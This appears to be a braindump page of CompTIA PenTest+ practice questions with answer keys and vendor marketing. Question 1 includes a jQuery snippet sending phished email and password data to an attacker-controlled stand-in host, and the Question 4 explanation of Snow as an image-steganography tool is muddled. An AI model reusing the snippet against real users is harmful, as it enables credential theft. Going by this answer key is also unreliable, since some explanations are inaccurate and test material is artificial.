PT0-002 Q&As

CompTIA PenTest+ Certification Exam

Pass CompTIA PT0-002 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass4itsure.com/pt0-002.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  _____
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

A. window.location.= \\'https://evilcorp.com\\'

B. crossDomain: true

C. geturlparameter (\\'username\\')

D. redirectUrl = \\'https://example.com\\'

Correct Answer: B

QUESTION 2

Penetration on an assessment for a client organization, a penetration tester notices numerous outdated software package versions were installed ...s-critical servers. Which of the following would best mitigate this issue?

A. Implementation of patching and change control programs

B. Revision of client scripts used to perform system updates

C. Remedial training for the client\\'s systems administrators

D. Refrainment from patching systems until quality assurance approves

Correct Answer: A

The best way to mitigate this issue is to implement patching and change control programs, which are processes that involve applying updates or fixes to software packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency, compatibility, and security. Patching and change control programs can help prevent or reduce the risk of attacks that exploit outdated software package versions, which may contain known or unknown vulnerabilities that can compromise the security or functionality of the systems or servers. Patching and change control programs can be implemented by using tools such as WSUS, which is a tool that can manage and distribute updates for Windows systems and applications1, or Git, which is a tool that can track and control changes to source code or files2. The other options are not valid ways to mitigate this issue. Revision of client scripts used to perform system updates is not a sufficient way to mitigate this issue, as it may

not address the root cause of why the software package versions are outdated, such as lack of awareness, resources, or policies. Remedial training for the client\\'s systems administrators is not a direct way to mitigate this issue, as it may not result in immediate or effective actions to update the software package versions. Refrainment from patching systems until quality assurance approves is not a way to mitigate this issue, but rather a potential cause or barrier for why the software package versions are outdated.

QUESTION 3

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

A. Whether the cloud service provider allows the penetration tester to test the environment

B. Whether the specific cloud services are being used by the application

C. The geographical location where the cloud services are running

D. Whether the country where the cloud service is based has any impeding laws

Correct Answer: A

The first thing that a penetration tester should consider when engaging in a penetration test in a cloud environment is whether the cloud service provider allows the tester to test the environment, as this will determine whether the tester has permission or authorization to perform the test. Some cloud service providers have policies or terms of service that prohibit or restrict penetration testing on their platforms or require prior approval or notification before testing. The tester should review these policies and obtain written consent from the provider before conducting any testing activities.

QUESTION 4

Which of the following tools would be best to use to conceal data in various kinds of image files?

A. Kismet

B. Snow

C. Responder

D. Metasploit

Correct Answer: B

Snow is a tool designed for steganography, which is the practice of concealing messages or information within other non-secret text or data. In this context, Snow is specifically used to hide data within whitespace of text files, which can include the whitespace areas of images saved in formats that support text descriptions or metadata, such as certain PNG or JPEG files. While the other tools listed (Kismet, Responder, Metasploit) are powerful in their respective areas (network sniffing, LLMNR/NBT-NS poisoning, and exploitation framework), they do not offer functionality related to data concealment in image files or steganography.

QUESTION 5

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will

perform a ping scan?

A. nmap -sn 10.12.1.0/24

B. nmap -sV -A 10.12.1.0/24

C. nmap -Pn 10.12.1.0/24

D. nmap -sT -p- 10.12.1.0/24

Correct Answer: A

Reference: https://www.tecmint.com/find-live-hosts-ip-addresses-on-linux-network/